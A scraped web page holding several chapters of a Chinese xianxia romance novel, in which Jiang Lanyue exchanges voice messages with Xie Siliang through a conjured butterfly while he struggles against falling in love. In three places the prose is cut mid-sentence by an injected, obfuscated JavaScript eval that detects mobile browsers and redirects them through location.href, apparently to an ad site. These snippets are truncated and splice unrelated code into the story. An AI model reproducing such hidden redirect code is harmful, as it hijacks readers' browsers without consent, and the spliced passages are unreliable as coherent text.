“世间大道，无情道其实是个讨巧的修炼之道。很多修炼无情道的人，最后都会走火入魔，杀妻杀子杀父杀母，我记得师兄当时是不赞成的，但是无奈摇光坚持要修无情道，谁也干涉不了他的选择。你来了之后，师兄和天璇长老都开心坏了呢，摇光向来独来独往，有了道侣，便是有了红尘牵绊。” 姜揽月愣住了，其实，谢思量带她回来也和“红尘牵绊”无关啊，他俩是纯粹的交易关系，她救了谢思量，谢思量给他一个道侣身份，这只是一场赤裸裸的交易。 “师尊，摇光仙君将我带回来其实是为了报答我。当时他在太虚海受伤，我无意间救了他，所以他才会将我带回来，和其他无关。” “是吗？”妙音长老道，“当时在大殿上他好像也是这么说的，不过，这难道不是将你带回来的借口吗？” 姜揽月震惊了，她的师尊怎么会这么想？不会其他长老也是这么想的吧？ “当然不是啊，真的就是我无意中救了他，然后他把我带回来了，还是我主动要来的呢。” “哦，这样啊。”妙音长老还是笑着的，“我看不像呢。” 姜揽月觉得和自己师尊说不清楚，决定换一个话题：“不讨论这个了。师尊，我想参加青云盛会，我记得青云盛会四年一次，明年会举办一次。” “说起这个啊，确实，我马上也想和你说这件事情，明年的青云盛会在玄天宗举办，我们昆仑还是得参见的。摇光有没有和你说过规则？” “说过只有元婴之下才准许参加。” “没错，元婴之下才可以参见，他已经不能参加了。” 姜揽月道：“他现在若是参加那也太欺负人了。” “哈哈哈哈哈确实是，所以明年你和卿尘一起去吧。” “所有修士都可以吗？” “嗯，不管修得是什么道都在一起。” “好，这段时日我会努力修炼的。” “嗯，若是有悟不透的来找我。” * 昆仑的西北之巅，七杀结界处。 黑暗无边无际，寒风呼啸，带着无边的恶意，仿佛千万根淬着毒的银针刺入骨髓。 谢思量独自站在黑暗之中，手中剑光闪现。 他早已不是第一次来这里了，自从元婴之后，他便经常请缨来到这里看守。于他来说，在这里更像是一场闭关。 自眼盲之后，他的世界便是一片黑暗。很多人不愿来七杀界是因为这里无边的黑暗，但是对他来说，七杀界与其他任何地方没有什么不同。 这里很安静，他很喜欢这里。 昨日他的断情剑法不知为何竟然掉落到了第一重，如今又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15085794|160442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要重新修得。 少年神色平静，修为掉落好像并没有给他带来很大的波澜。巨大的剑阵自他脚下铺开，天空有白雪飘下。 这里没有其他人，他可以肆无忌惮地释放冰雪境。 飘雪一层一层的堆积，断情剑法又回到了第十重。 就在一片黑暗之中，他忽地发现自己的眼前明亮了。 是一个梦境。 他坠入梦境之中了。 他很平静，静静地跟随着梦中的自己。 “谢思量，我今日不要双螺髻了，我要垂髫髻。”一道脆生的女声响起。 谢思量抬眸，面前出现了一位少女。又是那个女子，那个自称为揽月的女子。今日她穿着桃红色的襦裙，一头黑丝柔顺地披散在肩头，看起来好像刚刚睡醒。 “好，我来帮你梳。”他听见自己这样道。 “谢谢思量哥哥。”女子说道，面上笑容天真，仿佛孩童，她坐到了妆奁前，双手抚上了自己的发丝。 谢思量看了看四周，这里还是那个房间，格局和他上次在清水镇中见到的幻镜一样。 很明显是个女子的房间。 墙壁上镶嵌着夜明珠，门口处挂着风铃，一旦有风便会响起清脆的铃声。角落处还摆放着一个花瓶，瓶中是几枝红梅。 “哥哥，你快来帮我梳头啊。” 谢思量微愣，哥哥？ 这女子怎得喊他哥哥？ “哥哥，快点啊，揽月还要去吃早膳呢。” 见女子在催，他便走到了妆奁前，拿起紫檀木梳，开始帮女子梳头。 女子的头发很长很柔顺，用梳子可以直接梳到底，然后他看到自己非常熟练地帮女孩扎头发，仿佛之前已经梳过很多次了。 随后，他道：“想用什么颜色的发带？” “那条蓝色的。”少女道。 “好。” 熟练地给少女的发髻上绑了一个蝴蝶结，他又抚了抚少女额前的刘海，然后道：“好了。” “梳地真好看。”少女的声音听起来真好看。 随着少女的目光，谢思量也望向了铜镜，却在那一瞬间微微愣住，自从眼盲后他就再也没有见过镜子了，也很久没有看到自己了。 其实眼盲前他也不会照镜子，但是面前铜镜中的青年确实是他。虽然装扮不同，但那就是他，穿着雪白的衣袍，衣袖上绘满了符文，乌发用玉冠束起，不过气质却有些妖冶。 意识到这一点后，他瞳孔微缩，细细打量起镜中的自己。皮肤是不正常的白，嘴唇也比常人要红，一双浅色的眼睛似结冰的湖泊，一张脸像是从来都没有笑过。 时间太久，他早已忘记该如何笑了。 明明是很丑陋的相貌。 可是姜揽月却说过他漂亮，真的吗？真的是面前这张脸吗？ 谢思量垂了垂睫，面前的铜镜忽然四分五裂，碎成了道道碎片，每一块碎片都有他的脸。 每一张脸都是如此丑陋。 这些脸真的是他吗？真的是他吗？他为何会这样丑？ 青年拿起一块碎片，猛地扎向自己的手腕。 想象中的疼痛没有袭来，喉间又却是一股血腥之气。 他醒了。 眼前恢复了黑暗，但是他发现他刚刚才修回来的断情剑法又掉到了第一重。 30. 蝴蝶（四） 宫商阁，清风阵阵，荷花飘扬。 姜揽月怀中抱着太华，惊鸿的乐曲从她指尖流泻，这是《白雪歌》的第九曲。 面前是苏怀柔师姐，她听着姜揽月的琵琶曲，道：“师妹，你这进步的速度也太快了吧，这么快就能奏第九曲了。” 姜揽月谦虚道：“师姐过奖了，比不上师姐的古琴曲。” 苏怀柔笑了笑：“师妹太谦虚了，不如我们来合奏一曲如何？” “好。”姜揽月自然没有拒绝。 “那就《白雪歌》吧。” “嗯。” 一曲毕，姜揽月这才发现二人的身边多了一个穿着青衣的男修，是沈潜。 “师姐，沈师兄来了。” “哦。”苏怀柔抬头，果然见到了熟悉的身影。 “今日给你送了玉露团，是你最喜欢的桂花味。”沈潜道，“但是师尊这几日很忙，我得一直跟着他，过几天抽不开身。” 苏怀柔接过篮子：“好，过几日我去找你。” “嗯。” “师妹，很勤奋呢。”沈潜对姜揽月道，他几乎每次来宫商阁都能看到姜揽月在练琴。 “无事可做，只能修炼。”姜揽月笑道。 “你们二人还真是相像。”沈潜调侃了一句。 “我没有他那么夸张吧。” “差不了多少。” 沈潜走后，苏怀柔拿起一块玉露团给姜揽月：“师妹，来，这玉露团可好吃了。” 姜揽月也没有推辞，直接接过了玉露团，清新的桂花味在舌尖炸开，随后随着喉管进入胃中。 “真的很好吃！沈师兄这水平高啊！”姜揽月丝毫没有吝啬赞美之言。 “他平日就喜欢研究这些。”苏怀柔笑道，“一个医修却喜欢研究食物，倒像是个食修一样。” “研究食物多好啊，苏师姐有福了，每天都能吃到这么多好吃的。”姜揽月又吃了一个玉露团。 “对了，你现在是什么境界了？”苏怀柔问道。 “金丹。”姜揽月道。 “金丹的话，应该可以参加明年的青云盛会了。” “我最近也在想这个，但是金丹弟子的胜算不如元婴期修士，希望我能在青云盛会前进阶至元婴期。” 苏怀柔道：“无事，肯定可以的，你每日和谢师兄在一起，修为一定晋升地很快。” “再怎么厉害都是他自己厉害，也不是我的。”姜揽月道，“我要是修炼也可以像他那样就好了，他修炼就跟我们吃饭喝水一样简单。” 苏怀柔安慰道：“他那种本就是少数，修仙至今，也就听说他一个人那样，大部分人都是普通人。其实，能进入昆仑已经算是修仙之人中的佼佼者了。” “确实，昆仑已经是修仙门派中很难进的一个门派了。” 但我其实是靠着谢思量的关系进来的，姜揽月在心中叹了一声。 “师姐，还练吗？” “练。” 夜晚，皎洁的月光倾洒在大地上，空气中充满着梨花的清香。 迎着月光，姜揽月御着剑回到了云雪峰。只见少女稳稳当当地站在思君剑之上，裙裾在风中飘扬。如今她已经可以独自御剑了，长距离不敢说，但是在昆仑宗之内还是轻轻松松。 回到云雪峰之后，没有看到熟悉的身影，她的心中竟忽地生出了一丝落寞之情。 这几个月中，每日都能与谢思量相见，这好像已经成了一个习惯，如今几日不见，竟觉得有几丝陌生。 习惯这种事情真是有趣。不知不觉中，她居然习惯了谢思量的陪伴，明明两人说好只是纯粹的交易关系而已，她竟然贪图谢思量的陪伴。 思及此处，少女的眼中现出了几丝苦笑，她在想什么呢？ 谢思量修的可是太上忘情道，还是太上忘情道的优秀弟子，十八岁便可化神，天生冷情，她一定不能习惯于他。 回到摘星阁，看了会之前在凡间买的话本子，姜揽月又感觉到无聊。她拿出太华，开始奏起乐来。 窗外梨花簌簌，在月光的照耀下，仿佛散着朦胧的光。 这次她奏的是《逢君》。 落花时节又逢君。 少女沉浸在自己的音乐中，当她弹完一曲后，忽然发现眼前有一道蓝色的影子。 居然是一只蝴蝶！ 云雪峰哪来的蝴蝶？ 来玉霄殿这么久了，她还是第一次见到蝴蝶。姜揽月有些奇怪，她伸出手，那蝴蝶竟直接落到了她的指尖之上。 她细细打量起这只蝴蝶来，翅膀是清透的琉璃蓝，边缘处有一圈紫色的纤细镶边，鬼魅异常，在烛火下散发出浅浅的光。 怎么有些眼熟呢？ ！！！ 姜揽月终于想了起来，原来这是当时在琅琊阁中见到的蝴蝶的缩小版。 少女双眼微咪，她依稀记得师尊说过太华还可以幻化出蝴蝶，难道就是眼前这个？ 但是，这蝴蝶有什么用呢？ 她知道很多修仙之人都有自己的灵宠，尤其是御兽宗的，难道这是太华给她的灵宠？ “小蝴蝶，你会说话吗？” “小蝴蝶，你是我的灵宠吗？” “小蝴蝶，你有意识吗？” 无人回答，甚至连一点反应都没，只有蝴蝶的翅膀在轻轻颤动。 姜揽月又戳了戳这只蝴蝶，依旧没有反应。 她疑惑了，太华幻化出来的蝴蝶是做什么的呢？她记得师尊之前提到过，但是也只说了太华可以幻化出蝴蝶，具体什么原因师尊也不知道，看来还得自己去找答案。 翌日，少女起后便直接去了藏书阁。 昆仑的藏书阁很大，几乎各种术法典籍都有，一应俱全。站在巨大的紫檀木书架前，姜揽月直接走到了武器的那一排书架前。 她翻了很多典籍，最终终于在一本《修仙界知名神武》中找到了太华。 “太华，琵琶也……其幻化之蝶，具传音之能也。” 传音？ 姜揽月转念一想，这岂不就是电话？ 找到了自己想要的答案后，她放下了书本，走出藏书阁。 回到云雪峰，她又弹起了太华，试着唤出那只蝴蝶。 一曲结束，蝴蝶终于出来了。 如同昨天晚上一样，蝴蝶静静地降落在了她的指尖之上，蓝色的翅膀轻轻颤动。 “小蝴蝶，我该对你说什么呢？又给谁传音呢？”姜揽月自言自语道，她碰了碰蝴蝶的翅膀，“原来你是个电话啊。” 思来想去，她发现她好像只能和谢思量传音。 一是因为她和谢思量比较熟悉，二是因为西北之巅在昆仑内算是距离她比较远的地方，她可以趁机练习一下。 走出摘星阁，拐个弯，就来到了谢思量的房间。姜揽月将手放在木门之上，不想，居然轻轻一推就推开了。 谢思量居然不锁门？ 震惊之后，她想到以谢思量的修为应该放了其他禁制，而且昆仑也没有人敢来谢思量房间啊，她真的是多虑了。 她需要一个有谢思量灵识的东西，来给蝴蝶做标记，这样蝴蝶才能找到谢思量。 谢思量的房间很整洁，也是非常标准的剑修房间，没有其他多余的东西。目光落到前方的桌子之上，姜揽月发现自己之前送给他的荷花居然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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原来是一只蝴蝶。 他伸出修长的手指，蝴蝶便顺势停留在了他的指尖。 不知为何，他竟然期待着这只蝴蝶再次发出声音。 但是，黑暗中，等待他的只有风的呼啸声和雪落下的声音。 没有其他的了吗？ 不知过了多久，他终于伸出手指轻轻摸了摸这只蝴蝶的翅膀。 就在这一刻，他感到好像抚摸到了姜揽月的神魂，因为这只蝴蝶之上满是姜揽月的灵力印记。 好想再碰一碰。 但是，他动作一滞，他在这只蝴蝶中发现了一丝自己的灵识。 青年发出一声轻笑，他知道这只蝴蝶是怎么找到他的了。 他指尖灵力闪过，在蝴蝶的翅膀上标记满了自己的灵识。 这样，这只蝴蝶以后就不会再找不到他了。 * 翌日，姜揽月醒来，便看到蝴蝶在自己床头歇着，蓝色的翅膀微微颤动。 蝴蝶回来了。 她戳了戳蝴蝶，蝴蝶一动不动。 奇怪，按理说蝴蝶应该带着谢思量的话回来啊，但是这只蝴蝶怎么没声呢？ 难道她的蝴蝶没有飞到七杀结界，它认错路了？或是她的灵力不足以让蝴蝶飞到到七杀结界？ 姜揽月决定过几日再试一次。 31. 蝴蝶（五） 校场上，一位少女站在梨花树之下，手上握着一把剑，腿上放着一本书，她正对着书比划着什么。 日光透过花朵照在了剑谱之上，耳边是一些鸟兽虫鸣，人声嘈杂，但是少女看的依旧很专心。 这名少女正是姜揽月。 “师娘，你在这里看剑术啊。”薛满注意到了姜揽月。 师娘坐在花树之下，专心致志地看着师尊让他拿的那本剑谱。 “对啊，我之前偶然间拿到了一把剑，若是不学点剑术，岂不浪费？”姜揽月抬头。 “原来师娘的剑是这么来的啊。”薛满道，“嘿嘿，上次师尊让我拿的剑谱果然是给师娘的，我就说嘛，师尊自己怎么可能会用剑谱。” 她无聊的时候，便会拿起谢思量给她那本基础剑法看看，学一学上面的招式。有的时候甚至会像薛满请教，薛满若是也不懂的话，她便会将其记下来，打算等谢思量回来后再问他。 剩下的时间她就在宫商阁练习琵琶，这些日子里她天天和宋卿尘对练，两人整天比谁奏的乐曲更好。 而到了晚上，她便开始摆弄自己的蝴蝶。 上次的蝴蝶没有飞到七杀结界，她准备再试一次。 * 七杀结界。 白雪飘飘，谢思量正跪坐于剑法之上，仔细研究剑阵上的符文，忽地，他又听见了蝴蝶扇动翅膀的声音。 是姜揽月吗？ 青年伸出手指，蝴蝶落到了他的指尖。 一道脆生的女声在空旷的结界处响起：“谢思量，我学会了基本剑术第二招了，等你回来检查。” 谢思量笑了笑，他又伸出手抚摸了这只蝴蝶的翅膀，温柔又缱绻。 这只蝴蝶，依旧带着满身的姜揽月的气息。 * 与昨日一样，几个时辰后，蝴蝶终于回来了。 姜揽月收起蝴蝶，发现还是没有任何声音。她又戳了戳蝴蝶，蝴蝶依旧一动不动。 啊？ 居然还是没有飞过去吗？ 姜揽月有些疑惑，看来还是修为不够啊，她的修为有这么低吗？ 太华啊对不起，跟着我没有发挥出你应有的价值，我一定会好好修炼的。 于是，又过了几日，姜揽月每日都要让蝴蝶出去一趟，但每次蝴蝶都是默默回来，不会发出任何声音。 姜揽月越战越勇，心想反正这个也飞不到谢思量那，那就干脆把这个当做控制灵识的练习吧。 “谢思量，我今日练习了《逢君》的第九曲，师尊说我天赋很高。” “谢思量，我今日练习了《相思》第六曲，这首曲子真的很动人，你回来的话我想弹给你听。” “谢思量，今日我和宋师兄一起练习，他说我进步很快。” “谢思量，今日沈师兄和苏师姐又请我吃了玉露团，玉露团真好吃。” “谢思量，今日我在校场看到了一只灵狐，有四条尾巴，毛茸茸的，可爱又漂亮。” “谢思量，今日斋堂上新了抄手，很好吃，明天我还要去吃。” …… 姜揽月每日都会坚持不懈地让蝴蝶传一句话，今日也不例外。 少女对着指尖的蝴蝶道：“谢思量，今日宫商阁下雨了，雨点滴滴答答，不知道你那里有没有下雨？” 与往常不同，这次蝴蝶飞回来的很快，几乎是一会儿就回来了，姜揽月感觉有些奇怪，正想检查看看，却听蝴蝶发出了声音。 “没有。这里在下雪。” ！！！！ 姜揽月睁大了双眼，刚刚那是谢思量的声音吗？ 她想再听一遍，可是不管她怎么戳蝴蝶都没有了，仿佛她刚刚听到的声音只是一场错觉。 不，不是错觉，她就是听到了谢思量的声音，她的蝴蝶终于飞到了谢思量那里！！ * 谢思量刚让蝴蝶飞走，片刻后，蝴蝶便回来了。 “谢思量，蝴蝶终于飞到你那里了。” 是她的声音，惊喜之中又带着一丝亲昵，像是在撒娇。 青年无声笑了笑。 * 须臾后，蝴蝶回来了。 谢思量的声音又响起：“为何一直给我发传音？” 他这次的声音不似之前那般清澈如泉，反而带着一丝沙哑，像一根羽毛一样，在她的心头挠。 ！这次的消息也发出去了！ 姜揽月没有犹豫：“因为我很想你。” 刚说完这句话，她就觉得好像不能这么说，但是转念一想，他是修无情道的，应该也不会多想吧。于是便继续道：“因为我很想你，所以想和你说话。” * 蝴蝶很快带着少女的声音回来，但这次蝴蝶好似带着主人的情绪，没有降落好，竟然扑棱到了谢思量的唇上，一阵热流滑过。 少女的声音恰好也在这时候响起：“因为我很想你，所以想和你说话。” 谢思量微微一震。 喉间又有血腥之气溢出，他知道自己的修为又降了。 事到如今，他不可能继续欺骗自己了。 他知道自己最近道心不稳。 他知道，他动了情。 但是，对于姜揽月，他不想自己坠入情爱，也不想她入情爱。 情爱，是恶心的，是肮脏的，是恶臭的。 脑海中浮现出儿时在皇宫的一幕又一幕，一道道白花花的交缠在一起的□□，恶心又肮脏。 情爱是恶心的，他不能对姜揽月有这种思想，姜揽月也不可以对他有这种思想。 但是他也能感受到自己此刻的神魂，躁动不息，他的修为正一层一层地往下掉。若不阻止，他的修为即将散尽。 不过，他并不在乎这些修为，修炼对他来说非常简单。只是，他不想将姜揽月拉入肮脏的情爱深渊。 他感到自己快疯了。 明明来这里镇守结界是为了远离姜揽月，却差点走火入魔。 青年静默了片刻，最后拿起了观雪，找到了自己的爱魄。 人有三魂七魄，三魂为天魂、地魂和人魂，七魄为喜、怒、哀、惧、爱、恶、欲。如果他此时将爱魄割了，便可免于他和姜揽月坠于情爱。 月光下，观雪流泻出泠泠辉光。这是上古神君留下来的神武，削铁如泥，锋利无比。 他曾经用这把剑降过妖，除过魔，也曾用这把剑大败对手，如今却要用这把剑来割自己的爱魄。 想来也有一丝可笑。 谢思量闭了闭眼，月光落在了他的睫毛上，像是渡上了一层银。他的睫毛很长，但是却不卷，为整张脸带来了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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没时间多想，因为少女关切的声音很快便响了起来：“谢思量，你怎么了？你受伤了吗？” “如果你扛不住的话，就告诉我，我就去和其他长老说。” 喉间又是一片铁锈之味。 按捺住内心的波涛汹涌，他开口温声道：“无事，不用挂念。时候不早了，早些睡吧。” 他知道姜揽月虽然是修道之人，却保留着凡人的习惯，不仅会正常用膳，也会正常睡觉，现在是姜揽月睡觉的时间。 蝴蝶飞走不久后，又回来了。 “你没事就好，刚刚我还以为你受伤了，担心死我了。不过既然没事，我就放心了。晚安。” * 摘星阁，姜揽月躺在榻上，翻着话本子，一刻钟了，她的话本子一页都没有翻过。 视野中出现了那只蓝色的蝴蝶，她的心砰砰直跳，仿佛一只兔子快要跳出来。 她伸出手，然后将蝴蝶放到自己耳边。 谢思量的声音犹如落雪：“嗯，晚安。” 32. 蝴蝶（六） 宫商阁，今日还在下雨，雨点滴滴答答，空气中都是水汽，云雾缥缈，池塘中的荷叶飘扬，上面滚动着晶莹的水珠。 姜揽月和妙音长老一起坐在亭子内，欣赏着面前的荷花之景。 妙音长老放下了手中的茶：“让我看看太华的蝴蝶。” “好。” 练习了快一个月后，姜揽月如今已经可以不用太华，自己便能将蝴蝶唤出来了。 漂亮的蓝蝶附在她的手指之上，轻轻扇动翅膀，散发着鬼魅的蓝色。 妙音长老伸出纤细的手指，蝴蝶便顺势飞到了她手中。只见曲玄素手中白光一闪，她想让自己的灵识进入这只蝴蝶。 “以后这只蝴蝶也可以和我传信了，倒是省了几张传音符。”妙音长老道。 但是，忽然，她发现这只蝴蝶中有一股非常强大的灵识，让其他人的灵识难以容入。妙音长老眉头一蹙，这说明放入这道灵识的人修为与她不相上下，甚至还要在她之上。 “你用这只蝴蝶和谁传音了？” 师尊怎么忽然问这个问题，姜揽月有些懵，不过还是老老实实答道：“谢思量。我想着他现在在七杀结界，和我的距离不远不近，是个联系灵识的好机会。” 妙音长老轻笑：“果然是他，一般人的灵识不会这般强大。” 她将蝴蝶还给姜揽月，道：“算了，以后我们还是用传音符传信吧，这只蝴蝶已经被他标记了。” “啊？”姜揽月有些疑惑，“那师尊你不能继续标记了吗？” “被某人标记满了，我的灵识根本进不去。”妙音长老嘀咕，“看不出来啊，这小子占有欲还挺强。” 姜揽月有些震惊，连忙解释道：“师尊，他现在还在七杀结界，也是第一次见到我的蝴蝶，应该不懂，毕竟我也摸索了几天才知道它的功能，更何况谢思量呢。” 妙音长老觉得有些好笑：“他一个化神期修士还能不懂？不过也没事，这个就当做你两传信的工具吧，我们继续用传音符咒就行了。” 蓦地，她忽然想到，以往对谢思量来说，去七杀结界就是闭关，但是如今他居然还能给姜揽月的蝴蝶做标记，与姜揽月一起传音，这关还能闭吗？ 思及此处，她又看了一眼自己面前的徒弟。乖乖巧巧，丝毫不知道谢思量做了什么。 唉，她的揽月还是太单纯了。谢思量修的是无情道，心却是一颗七窍玲珑心，一般人根本洞察不了他的心思。 “是，师尊。”姜揽月低头，她原来准备让认识的人都标记一下呢，加一下联系方式，没想到现在居然只能和谢思量一人传音了。 不过也算了吧，估计他也不懂，就把她和谢思量的通讯当做灵识的练习好了。 妙音长老又道：“最近都练了什么曲子？我听听。” “好。” 姜揽月拿出太华，玉白的琵琶在少女怀中发出碧蓝色的冷光，她纤细的手指抚上弦，指尖流泻出阵阵乐音。 “这是《相思》的第八曲和第九曲。” “嗯。”姜揽月道。 “不错，这么快已经能弹《相思》了。”妙音长老道，她的眼中浮现了些许缱绻，像是想起了曾经的往事。随后，她的膝盖上现出一把雪白的古琴，“一起弹吧。” “好。” 水汽氤氲，伴随着雨滴的声音，轻柔地洒落在荷花池之上。古琴曲和琵琶曲齐声响起，共同没入这烟雨之中。 * “师妹，你居然还会御剑？！”宋卿尘看着姜揽月脚底下的思君，十分惊讶。 少女站在一把细细的长剑之上，裙角飞扬。看到宋卿尘后，她熟练地从剑上跳下来。 “这是我之前和谢思量一起去除妖，无意中捡到的。” “捡到的？”宋卿尘道，“那你这运气真是好啊，走在路上就能捡到。” “谁说不是呢。”姜揽月收起思君，“我马上都乐剑双修了。” “那你可真是厉害。” “你们俩都已经出来了啊。”白晴雨从试炼场走出来。 “师娘，宋师兄，我们来了。”薛满向阶梯旁的两人挥手。 “对啊，大小姐，就在等你了，终于出来了。”宋卿尘看向迎面走来的少女。 “刚刚一个弟子一直缠着我问事情，所以才慢了一点，你们没等多久吧。” “没事，现在出来刚好，我们也才刚刚到。”姜揽月道。 “宋师兄，生辰快乐！”薛满道。 “谢谢薛师弟。”宋卿尘道，“还是薛师弟将我放在心上。” 今日是宋卿尘生辰，几人准备一起去人间为他庆祝。自从上次清水镇事件之后，几人就经常约到一起。 踏上三千阶梯时，宋卿尘忽然道：“我第一次走这个阶梯的时候，走了好久，可能走了有半天。” 姜揽月：“差不多，我好像也走了这么久。” “你不是和谢思量一起吗？” “对啊，但是他又不能带我一起御剑，还是得我自己一步一步走上来啊。” 说到此处，姜揽月忽然想起自己第一次走时谢思量牵着自己的情景。 他当时在想什么呢？肯定觉得她很弱吧，走个楼梯还能走那么久，所以最后实在看不下去了才会牵着她。 “也是。”宋卿尘道。 如今正是十二月，凡间白雪飘飘，朵朵红梅绽放在树梢，空气中飘荡着梅花香气。 宋卿尘道：“下雪了呢，每年我生日的时候都会下雪。” “云雪峰天天都下雪，你要是喜欢，可以去看看。”姜揽月道。 宋卿尘：“那是谢思量的地方，我去做什么。相比之下，我还是喜欢妙音峰的气候。虽然我的生辰在冬日，但我其实挺怕冷的。” “你怕冷？”姜揽月道，“那快走吧，等去了酒楼就不冷了。” 薛满在一旁道：“云雪峰确实较昆仑其他几个峰更冷，应该是昆仑最冷的地方了。” “是吗？我觉得还可以。” 说着，几人就来到了当地最大的酒楼。刚踏入大门，迎面便是一阵酒香和美食的香气，与外面截然不同。 宋卿尘松了一口气：“总算暖和了。” 四人在侍者的带领下进入了一个雅间。 姜揽月拿出自己提前准备好的礼物，放到桌上：“师兄，快看看我为你准备了什么。” “行，我来看看我的好师妹给我送了什么礼物。” 宋卿尘打开面前的丝绸，发现里面是一朵新鲜的芍药。 ？ 宋卿尘满头问号，差点以为自己看错了：“你送给我芍药做什么？” “给你簪花用的。”姜揽月道，“上次一起去清水镇我看你那么一番打扮甚是好看，所以就给你准备了这朵花。我特地去找药修学得了保鲜的术法，这花至少可以保持一年之久。” “而且我觉得芍药很适合你，在我家乡，芍药象征着祝福，会给人们带来吉祥和好运。芍药还是盛夏之花，象征着美好、热情和活力，和你非常像，所以我就选择芍药啦。” “那师妹真是有心了。” 宋卿尘双眼微咪，他还是第一次收到这样的生辰礼物。少年神色不变，玉白的手指捻起那朵粉白的芍药花，然后将其簪到了自己鬓边。 “师兄，看这里。”姜揽月很贴心地为他幻出了一面水镜。 镜中的男子穿着一身青色的衣衫，长发如泼墨般乌黑，鬓边簪了一朵粉白的芍药，更显面如檀郎，眉眼之间尽是风流。 宋卿尘嘴角轻勾，看的出来他非常满意。 白晴雨在一旁看着：“你簪这朵芍药还真是不错，我也想簪了。” 姜揽月道：“等回去我们可以一起 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他记得姜揽月说过，送花是表示“很喜欢”的意思。 * 几人从酒楼出来后，又去街市逛了一圈。 车水马龙，人头攒动，这里是这一带最繁华的街市。卖香料的，卖珠宝的，跳胡旋舞的，应有尽有。 他们一起走入了珍宝阁，这里有很多稀奇古怪的小玩意。精巧的铜质香炉，镶满珍珠的步摇，绘着山水花鸟的折扇，琳琅满目，令人驻足流连。 姜揽月看到了一个鲛人摆件，通体冰蓝，澄澈透明，仿佛散着莹莹的光。 如今自己已成为鲛人，再看这个摆件，只觉得有些奇异。她拿起这个摆件细细端详，鲛人的脸上有一颗洁白的珍珠，想来应该是表示鲛人的泪滴。 老板在一旁道：“姑娘你真是好眼光，这是来自极地的琥珀雕刻而成，而且这上面的珍珠是真的鲛人珍珠。” “真的鲛人珍珠？” “对，都是从太虚海里产的，真的鲛人珍珠。” 姜揽月内心无言，她老家的珍珠？那不就是她的珍珠吗？但是她的珍珠一直都是直接送到典当铺子里换钱的，不会有人知道那些珍珠是由鲛人化泪而来。这些骗子骗钱是不是有点太容易了？ 她伸出手指抚摸着这颗珍珠，质感一般，果然不是真正的鲛人珍珠。 “鲛人珍珠？真的吗？你们见过鲛人吗？” “那……”老板道，“那我就不知道了，反正当初卖给我这个琥珀的人是这么说的。” 姜揽月将这个鲛人摆件放下，抬眼就发现一只蓝色的蝴蝶向自己飞来。 她心下一惊，隔着这么远，她的蝴蝶居然还能飞到七杀结界，然后又从七杀结界飞回来。 她走出铺子，站在人群中，小心地将蝴蝶放于自己耳边。 但是，蝴蝶却没有发出一点声音，只有翅膀因轻轻扇动的而产生的微弱气流，和周围嘈杂的喧闹声，让她的耳朵有一丝痒。 姜揽月眼眸微动，谢思量怎么不说话？ 难道蝴蝶没有飞到七杀结界吗？ 应该就是这个原因，姜揽月决定再试一次。 * 蝴蝶又来到了七杀结界，谢思量听到了翅膀扇动的声音。 他没有给她传音，她为何又来了？ 青年眉间浮现一丝躁郁，却还是伸出指尖接过了蝴蝶。 “我们今日下山来给宋师兄过生辰了，你的生辰是什么时候？我也想给你过生辰。” 原来，是想要给他过生辰。 少女清脆的声音在风雪中响起，谢思量知道自己的爱魄正在疯长。 33. 蝴蝶（七） 从凡间回来后，姜揽月直接回到了玉霄殿。 她不知道自己的蝴蝶到底有没有飞到谢思量那，若是她的蝴蝶能从凡间传音到七杀结界，就证明她对这一术法的掌握更上一曾楼。 少女从芥子囊中拿出了自己刚在书摊上买的新的话本子，一本一本，整整齐齐地放到了书架上。她看着自己收藏的满满当当的话本子，非常满意。 就在这时，蝴蝶回来了。 这次怎么也用了这么久？ 难道是因为太远的原因吗？ 蝴蝶在姜揽月指尖降落，青年的声音和落雪的声音一起响起：“清明。” 他的生辰，原来在清明啊。 姜揽月的眼睛亮晶晶的，清明的话，那便是还有四个月了。 她忽地想起自己上辈子，几乎每天都过着混吃等死的生活，既不认识宋卿尘，也不认识白晴雨，和谢思量也没说过几句话，更别提谢思量的生辰了，只知道机械地完成系统的任务。如今系统不在，她倒是像个土著一样，和这个世界的人一起玩乐，一时间不知道哪一辈子才更幸运。 * 蝴蝶又飞回来了，少女的声音骤然在耳边响起，惊喜又亲昵—— “好，我知道了，那正是草长莺飞的时节呢，明年清明我和你一起庆祝你的生辰。” 草长莺飞？ 清明是草长莺飞的时候吗？ 谢思量眼睫微垂，在他的印象中，向来他的生辰是只有母亲陪他过的，而且只能偷偷的过。因为他出生的日子在清明，这是一个不吉利的日子，而且那一年琼华国瘟疫肆虐，他便被视为灾星，不允许过生辰。 用观雪再次强行将自己的爱魄割下来，谢思量对蝴蝶道：“嗯，你的生辰呢？” * “我的生辰在六月初十，荷花盛开的时候。” 姜揽月刚说完这句话，就发现这在修仙界不适用，宫商阁的荷花一年四季都开着呢，压根不会有落败的的时候。 于是她又道：“我的生辰在六月初十，还早着呢，先给你过生辰。” “好。” 谢思量听着少女的声音，默默记下了。 * “师尊，七杀结界为什么还会下雪啊？难道是因为地势太高了吗？” 前些日子在谢思量的传音中听到了落雪的声音，姜揽月这才对那里有了实感。想来那里一定是极为安静的，而雪又下的非常的大，所以她才会听到雪落的声音。 